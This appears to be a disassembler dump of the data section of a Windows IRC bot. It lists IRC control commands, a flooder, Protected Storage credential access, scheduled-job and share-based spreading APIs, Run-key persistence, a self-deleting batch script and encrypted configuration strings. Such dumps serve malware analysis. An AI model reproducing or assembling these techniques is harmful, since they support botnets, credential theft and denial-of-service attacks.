aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
align 4
aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o
aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co
aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
align 10h
aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o
align 4
aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o
aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o
align 10h
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo
aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo
align 4
aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o
align 4
aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o
align 4
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o
align 10h
aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh
; DATA XREF: sub_403DF3+6Eo
dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
dd 34300320h, 3732502h, 2
dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
; DATA XREF: sub_403FE5+7Eo
dd 30032074h, 73250234h, 203h
dword_418A18 dd 333131h aXsUlsbNP db '•‘Àž«˜¡Ð¾°¶',0 ; DATA XREF: sub_4043E9+6o
align 10h
a10_ db '10.',0 ; DATA XREF: sub_4041B7+56o
a192_168_ db '192.168.',0 ; DATA XREF: sub_4041B7+3Bo
align 10h
a172_ db '172.',0 ; DATA XREF: sub_4041B7+20o
align 4
a127_ db '127.',0 ; DATA XREF: sub_4041B7+5o
align 10h
aU_U_U_U db '%u.%u.%u.%u',0 ; DATA XREF: sub_40D871+1CCo
; sub_41113B+45Ao
a1 db '::1',0 ; DATA XREF: sub_40435B+42o
aU_0 db '%u',0 ; DATA XREF: sub_4055E5+458o
; sub_4055E5+69Eo ...
align 4
aU_U_U_UU_0 db '%u.%u.%u.%u:%u',0 ; DATA XREF: sub_4055E5+31Eo
; sub_4055E5+40Bo ...
align 4
aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
; sub_4055E5+3AFo ...
align 4
aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o
; sub_4055E5+351o ...
align 10h
aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o
align 4
aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
align 4
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o
align 10h
aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo
align 4
aSystem db 'system',0 ; DATA XREF: sub_406041+136o
; .data:0041BBD0o ...
align 4
dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
; DATA XREF: sub_40637C+FEo
dd 732520h
dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh
; DATA XREF: sub_40637C+51o
dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h
aListProcesses db 'List processes',0 ; DATA XREF: sub_4064BF+31o
align 4
a02x db '%02X',0 ; DATA XREF: sub_406722+266o
; sub_4147E5+11o ...
align 4
a08x db '%08X',0 ; DATA XREF: sub_406722+201o
; sub_40A9CF+1C12o
align 4
aS db '%s',0 ; DATA XREF: sub_406722+1E3o
; sub_406722+296o ...
align 4
aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do
align 10h
aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo
align 4
aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o
align 10h
aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o
align 4
off_418B88 dd offset aOxULN ; DATA XREF: sub_406E8E+4Br
; sub_406E8E+8Dr ...
; "Ž•ÄÑîÔ«Æ"
off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r
; sub_406E8E+12Ar ...
dd offset aLxULN ; "«•ÖÃîÔ«Æ"
dd offset dword_418DA8
dd offset aBxQ ; "•ÅóŸ¶Û"
dd offset dword_418D64
dd offset dword_418D54
dd offset dword_418D34
dd offset dword_418D20
dd offset dword_418D34
dd offset dword_418D0C
dd offset dword_418CF4
dd offset dword_418CE4
dd offset dword_418CD0
dd offset dword_418CBC
dd offset dword_418C9C
dd offset dword_418C88
dd offset dword_418C6C
dd offset aScIRns ; "‘–ØßÔ‰¸è»"
dd offset dword_418C6C
dd offset aGkQ ; "ƒŠÐóŸ¶Û"
dd offset dword_418C24
dd offset dword_418C10
dd offset dword_418BF0
align 10h
dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h
; DATA XREF: .data:00418BE4o
dd 0D1A28AE5h, 0ACF5BAh, 0
dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0)dword_418C24 dd 0DCC796A3h, 0CAAF99F4h, 0F3B0FFA1h, 0D48EB4B7h, 0D1F0C690h
; DATA XREF: .data:00418BDCo
dd 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h, 87h, 0
aGkQ db 'ƒŠÐóŸ¶Û',0 ; DATA XREF: .data:00418BD8o
align 4
dd 0
aScIRns db '‘–ØßÔ‰¸è»',0 ; DATA XREF: .data:00418BD0o
dd 0
dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh
; DATA XREF: .data:00418BCCo
; .data:00418BD4o
dd 0EDh, 0
dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0)dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h
; DATA XREF: .data:00418BC4o
dd 0D2A29BEAh, 2 dup(0)
dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0)dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0)dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0)
; DATA XREF: .data:00418BB4o
dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0)dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0)dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h
; DATA XREF: .data:00418BA4o
; .data:00418BACo
dd 0D1A78EFCh, 0A6h, 0
dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch
; DATA XREF: .data:00418B9Co
dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0
aBxQ db '•ÅóŸ¶Û',0 ; DATA XREF: .data:00418B98o
align 8
aLxULN db '«•ÖÃîÔ«Æ',0 ; DATA XREF: .data:00418B90o
align 8
dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h
; DATA XREF: .data:off_418B8Co
; .data:00418B94o
dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0)
aOxULN db 'Ž•ÄÑîÔ«Æ',0 ; DATA XREF: .data:off_418B88o
align 10h
asc_418DE0 db ':)',0 ; DATA XREF: sub_406A23+9Co
align 4
asc_418DE4: ; DATA XREF: sub_406A23+1Bo
; sub_406AE7+1Bo ...
unicode 0, <\>,0
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: sub_406B81+1Bo
align 4
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_406C51+1Co
align 4
a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o
db ':deleteagain',0Dh,0Ah
db 'del /A:H /F %s',0Dh,0Ah
db 'del /F %s',0Dh,0Ah
db 'if exist %s goto deleteagain',0Dh,0Ah
db 'del %s',0Dh,0Ah,0
align 4
a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o
align 4
aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
; sub_407148+19Do
align 10h
aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
; sub_407148+1C9o
align 4
dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
; DATA XREF: sub_40732D+115o
dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h
dd 65732002h, 72657672h, 7325h
aRejected db ' rejected',0 ; DATA XREF: sub_40732D:loc_407423o
align 4
dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh
; DATA XREF: sub_40764D+6Ao
dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
dd 2343003h, 2037325h, 0
dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
; DATA XREF: sub_4077DD+9Co
dd 34300320h, 3732502h, 2
dword_418F4C dd 20h ; sub_407928+96o ...
dword_418F50 dd 30h ; sub_40CA29+13Do ...
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_407F3D+118o
; sub_40806A+BDo
dword_418F60 dd 9ED9958Fh, 0A395FEh, 0dword_418F6C dd 9EC09195h, 0CCBC9FE9h, 0BCBDBEA9h, 0C395FB96h, 2 dup(0)
; DATA XREF: sub_408887+14o
dword_418F84 dd 9ED9958Fh, 9FF9h, 0aJzFl db '†‡Âݳ”«Ê',0 ; DATA XREF: sub_408887+30o
align 10h
dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r
; sub_4088FC+60r
off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar
dd offset dword_419098
dd offset dword_419054
dd offset dword_41903C
dd offset dword_418FE4
dd 2 dup(0)
dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h
; DATA XREF: .data:00418FD8o
dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h
dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h
dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h
dd 2 dup(0)
dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh
; DATA XREF: .data:00418FD4o
dd 0
dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h
; DATA XREF: .data:00418FD0o
dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh
dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h
dd 92AD9Eh, 0
dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h
; DATA XREF: .data:00418FCCo
dd 97F2h, 0
dword_4190B4 dd 0D1C38786h, 91A09FB2h, 0FCB9F9AAh, 0C385A098h, 9FC38887h
; DATA XREF: .data:off_418FC8o
dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h
dd 0B6F0E2ADh, 0B083h, 0
dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh
; DATA XREF: .data:off_418FC4o
dd 0
off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co
dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
; DATA XREF: sub_4083AD+3CEo
dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh
dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4 dd 73h ; sub_4083AD:loc_4086E7o ...
aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
; DATA XREF: sub_4083AD+296o
align 4
aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo
; sub_408B30:loc_408CB4o ...
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o
; sub_408B30+178o ...
a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo
; .data:0041BD9Co
align 4
aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o
align 10h
a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o
; .data:0041BD90o
align 4
aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o
align 4
a98 db '98',0 ; DATA XREF: sub_4083AD+187o
align 10h
aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o
align 4
a95 db '95',0 ; DATA XREF: sub_4083AD+153o
align 4
aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo
align 10h
a?: ; DATA XREF: sub_4083AD+124o
unicode 0, <?>,0
aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo
align 4
dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
; DATA XREF: sub_408B30+2D4o
dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h
dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah
dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah
dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh
dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h
dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o
align 4
aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o
aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo
aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo
aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_408B30+F5o
; sub_408B30+108o
aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo
align 4
dword_419398 dd 5C3A41h ; sub_408F2E+4Er ...
dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
; DATA XREF: sub_408F2E+270o
dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h
dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
; DATA XREF: sub_408F2E+1C5o
dd 20424D02h, 65657266h, 0
dword_419404 dd 202Eh ; sub_408F2E+24Ao
aUnknown_0 db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do
; sub_4129CA+34o
aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o
aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o
align 10h
aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o
align 4
aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o
align 10h
aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo
align 4
aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
align 4
aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
align 4
aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o
; sub_4094E6+93o
align 10h
aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o
dword_419474 dd 3430032Dh, 62656402h, 2036775haBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0
aS_0 db '*%s*',0 ; DATA XREF: sub_4097A7+81o
; sub_4098F3+C4o
align 4
dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0dword_4194CC dd 3430032Dh, 2037802haNoThreadsRunni db '- No threads running.',0
align 4
dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h
; DATA XREF: sub_409AD5+3Ao
dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h
dd 3A736461h, 0
aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
align 10h
dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
; DATA XREF: sub_409DD0+3A3o
dd 30033A72h, 64250234h, 203h
dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
; DATA XREF: sub_409DD0+37Fo
dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
dd 203h
dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
; DATA XREF: sub_409DD0+32Fo
dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
dd 2E64252Eh, 296425h
aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o
align 4
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o
align 4
unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co
db 73h, 61h, 67h
db 65h ; e
db 3Ah, 20h, 3
db 30h ; 0
db 34h, 2, 74h
db 72h ; r
db 61h, 63h, 65h
db 3
db 2, 20h, 3Ch
db 3
db 30h, 34h, 2
db 68h ; h
db 6Fh, 73h, 74h
db 3
db 2, 3Eh, 20h
aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0
align 4
dword_41965C dd 202h aS_1 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40A2D2+6Eo
align 4
a43 db '43',0 ; DATA XREF: sub_40A2D2+41o
align 4
dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h
; DATA XREF: sub_40A2D2+24o
dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
dd 3A02h
dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
; DATA XREF: sub_40A4A4+44o
dd 2E020373h, 0
dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
; DATA XREF: sub_40A50E+97o
dd 30032072h, 73250234h, 203h
dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0
; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo
align 10h
aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo
align 4
aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o
align 10h
dword_419700 dd 259B8h align 8
dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
; DATA XREF: sub_40A9CF+1EB1o
dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h
dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h
dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C dd 577ED30h dd 2 dup(0)
dword_419788 dd 5658h align 10h
dword_419790 dd 4827598h dd 2 dup(0)
a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo
align 4
dword_4197A4 dd 2DEB94F9h dd 3 dup(0)
dword_4197B4 dd 2E6BE5C8h align 10h
dword_4197C0 dd 2E5B8h align 8
dword_4197C8 dd 2495E5C8h dd 2 dup(0)
dword_4197D4 dd 24858h dd 0
dword_4197DC dd 21DFB0F8h dd 2 dup(0)
dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
; DATA XREF: sub_40A9CF+1B17o
dd 3643330h, 20732502h, 6E69575Bh, 5D3233h
dword_41980C dd 26809888h dd 2 dup(0)
dword_419818 dd 266E8h align 10h
dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h
; DATA XREF: sub_40A9CF+1AC8o
dd 63h
dword_419838 dd 91DF38h dd 2 dup(0)
dword_419844 dd 2343003h, 2037325haHasNoIpv4End_ db ' has no ipv4 end.',0
align 10h
dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
; DATA XREF: sub_40A9CF+1976o
dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h
dd 369252Eh, 2
a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o
; .data:0041BD98o
align 4
dword_419898 dd 42A40FB6h dd 3 dup(0)
dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
; DATA XREF: sub_40A9CF+17C1o
dd 2037325h, 0
dword_4198C4 dd 151858h align 10h
dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
; DATA XREF: sub_40A9CF+16F1o
; sub_40A9CF+17ECo
dd 2037325h, 2Eh
dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
; DATA XREF: sub_40A9CF+16AAo
dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h
dd 3003203Ah, 73250234h, 203h
dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
; DATA XREF: sub_40A9CF+1659o
dd 3A737365h, 34300320h, 3732502h, 2
dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
; DATA XREF: sub_40A9CF+1602o
dd 3A737365h, 34300320h, 3732502h, 2
dword_419968 dd 3Ch ; sub_40A9CF:loc_40C011o ...
dword_41996C dd 24858h dd 0
aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
align 4
dword_41998C dd 0B7DFB102h dd 3 dup(0)
dword_41999C dd 4B836E8h dd 2 dup(0)
dword_4199A8 dd 3E08h align 10h
dword_4199B0 dd 952EF8h dd 2 dup(0)
dword_4199BC dd 22F78h dd 0
dword_4199C4 dd 59D83703h dd 3 dup(0)
dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
; DATA XREF: sub_40A9CF+1431o
dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah
dd 75250234h, 2E0203h
dword_419A04 dd 1197E8h align 10h
dword_419A10 dd 2AEC3778h dd 2 dup(0)
dword_419A1C dd 22DB0h dd 0
dword_419A24 dd 155E78h align 10h
dword_419A30 dd 135A78h dd 2 dup(0)
aModeS db 'MODE %s',0 ; DATA XREF: sub_40A9CF+1333o
dword_419A44 dd 121930h align 10h
dword_419A50 dd 0D0EBFCFDh align 10h
aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
align 4
aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o
; sub_40A9CF:loc_40BC84o
align 4
dword_419A7C dd 90F030h dd 2 dup(0)
dword_419A88 dd 29FB0h align 10h
dword_419A90 dd 58EE830h dd 2 dup(0)
dword_419A9C dd 25570h dd 0
dword_419AA4 dd 969E58h align 10h
aPartS db 'PART %s',0 ; DATA XREF: sub_40A9CF+1135o
dword_419AB8 dd 0FF778h dd 2 dup(0)
dword_419AC4 dd 0FB288h align 10h
aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_40A9CF+1098o
; sub_40A9CF+10FAo ...
align 4
dword_419ADC dd 12A488h dd 2 dup(0)
aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
align 4
dword_419AFC dd 55D1DB0h dd 2 dup(0)
dword_419B08 dd 85A058h dd 2 dup(0)
dword_419B14 dd 988A30h align 10h
dword_419B20 dd 53005939h align 10h
dword_419B30 dd 2AD87238h dd 2 dup(0)
dword_419B3C dd 903F4F39h dd 3 dup(0)
dword_419B4C dd 3F53B78h dd 2 dup(0)
dword_419B58 dd 1054F8h dd 2 dup(0)
dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
; DATA XREF: sub_40A9CF+E77o
dword_419B78 dd 2AC15529h dd 3 dup(0)
dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
; DATA XREF: sub_40A9CF+E2Fo
dd 2037325h, 0
dword_419BA4 dd 90DB78h align 10h
aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
align 4
dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
; DATA XREF: sub_40A9CF+D20o
dd 2037325h, 0
dword_419BE0 dd 27B78h align 8
dword_419BE8 dd 0F669DEC8h dd 3 dup(0)
dword_419BF8 dd 51AF03CEh dd 4 dup(0)
dword_419C0C dd 560C8BD9h dd 3 dup(0)
dword_419C1C dd 125EC8h dd 2 dup(0)
dword_419C28 dd 23B2DEC8h dd 2 dup(0)
dword_419C34 dd 3E3DEC8h align 10h
dword_419C40 dd 2AC19078h dd 2 dup(0)
dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0dword_419C5C dd 3D18h dd 0
dword_419C64 dd 25CB99D8h align 10h
dword_419C70 dd 26F91BF8h dd 2 dup(0)
dword_419C7C dd 26F7D4F8h dd 2 dup(0)
dword_419C88 dd 0BA3DCE82h dd 3 dup(0)
dword_419C98 dd 0BA3E0C3Ah dd 3 dup(0)
dword_419CA8 dd 27740A05h dd 3 dup(0)
dword_419CB8 dd 3F2F239h dd 3 dup(0)
dword_419CC8 dd 12E5F8h dd 2 dup(0)
dword_419CD4 dd 11709839h dd 3 dup(0)
dword_419CE4 dd 24EBDF78h align 10h
